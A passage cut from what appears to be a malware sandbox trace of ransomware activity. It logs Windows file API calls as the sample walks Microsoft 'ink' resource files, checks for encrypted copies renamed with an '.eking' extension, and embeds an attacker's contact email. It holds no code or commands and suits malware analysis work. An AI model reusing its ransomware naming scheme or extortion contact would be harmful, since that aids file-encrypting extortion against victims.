(lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\IpsMigrationPlugin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\ipsmigrationplugin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.597] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=222208) returned 1 [0165.597] CloseHandle (hObject=0x1c8) returned 1 [0165.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0165.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi")) returned 0x20 [0165.597] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\join.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\join.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.597] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.598] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=8704) returned 1 [0165.598] CloseHandle (hObject=0x1c8) returned 1 [0165.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0165.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui")) returned 0x20 [0165.598] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\micaut.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\micaut.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.599] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.599] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=10240) returned 1 [0165.599] CloseHandle (hObject=0x1c8) returned 1 [0165.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0165.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui")) returned 0x20 [0165.599] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mip.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mip.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.601] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.602] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2560) returned 1 [0165.602] CloseHandle (hObject=0x1c8) returned 1 [0165.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0165.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui")) returned 0x20 [0165.602] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.602] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\mshwLatin.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\mshwlatin.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.603] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=2560) returned 1 [0165.603] CloseHandle (hObject=0x1c8) returned 1 [0165.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0165.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui")) returned 0x20 [0165.603] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.603] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\rtscom.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\rtscom.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.604] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=43520) returned 1 [0165.604] CloseHandle (hObject=0x1c8) returned 1 [0165.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0165.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui")) returned 0x20 [0165.604] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.604] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\ShapeCollector.exe.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\shapecollector.exe.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.605] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=194048) returned 1 [0165.605] CloseHandle (hObject=0x1c8) returned 1 [0165.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0165.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi")) returned 0x20 [0165.605] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.605] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\split.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\split.avi"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.606] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1c8 [0165.607] GetFileSizeEx (in: hFile=0x1c8, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3072) returned 1 [0165.607] CloseHandle (hObject=0x1c8) returned 1 [0165.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0165.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui")) returned 0x20 [0165.607] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tabskb.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tabskb.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.607] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.608] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3072) returned 1 [0165.608] CloseHandle (hObject=0x1d0) returned 1 [0165.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0165.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui")) returned 0x20 [0165.608] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipBand.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipband.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.609] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=32768) returned 1 [0165.609] CloseHandle (hObject=0x1d0) returned 1 [0165.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0165.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui")) returned 0x20 [0165.609] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.609] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipRes.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipres.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.610] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.611] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0165.611] CloseHandle (hObject=0x1d0) returned 1 [0165.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0165.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui")) returned 0x20 [0165.611] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.611] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.612] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3072) returned 1 [0165.612] CloseHandle (hObject=0x1d0) returned 1 [0165.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0165.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui")) returned 0x20 [0165.612] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\en-US\\TipTsf.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\en-us\\tiptsf.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.612] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.612] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0165.613] CloseHandle (hObject=0x1d0) returned 1 [0165.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0165.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui")) returned 0x20 [0165.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\es-ES\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\es-es\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.613] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.613] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=4096) returned 1 [0165.613] CloseHandle (hObject=0x1d0) returned 1 [0165.613] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0165.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui")) returned 0x20 [0165.614] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\et-EE\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\et-ee\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.614] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.615] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=3584) returned 1 [0165.615] CloseHandle (hObject=0x1d0) returned 1 [0165.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0165.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui")) returned 0x20 [0165.615] GetFileAttributesW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui.id[9C354B42-3003].[DavidsHelper@protonmail.com].eking" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui.id[9c354b42-3003].[davidshelper@protonmail.com].eking")) returned 0xffffffff [0165.615] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\fi-FI\\tipresx.dll.mui" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\fi-fi\\tipresx.dll.mui"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff [0165.616] CreateFileW (lpFileName="\\\\?\\C:\\Program Files\\Common Files\\Microsoft Shared\\ink\\FlickAnimation.avi" (normalized: "c:\\program files\\common files\\microsoft shared\\ink\\flickanimation.avi"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x1d0 [0165.616] GetFileSizeEx (in: hFile=0x1d0, lpFileSize=0x322fcd8 | out: lpFileSize=0x322fcd8*=1600388) returned 1 [0165.616] 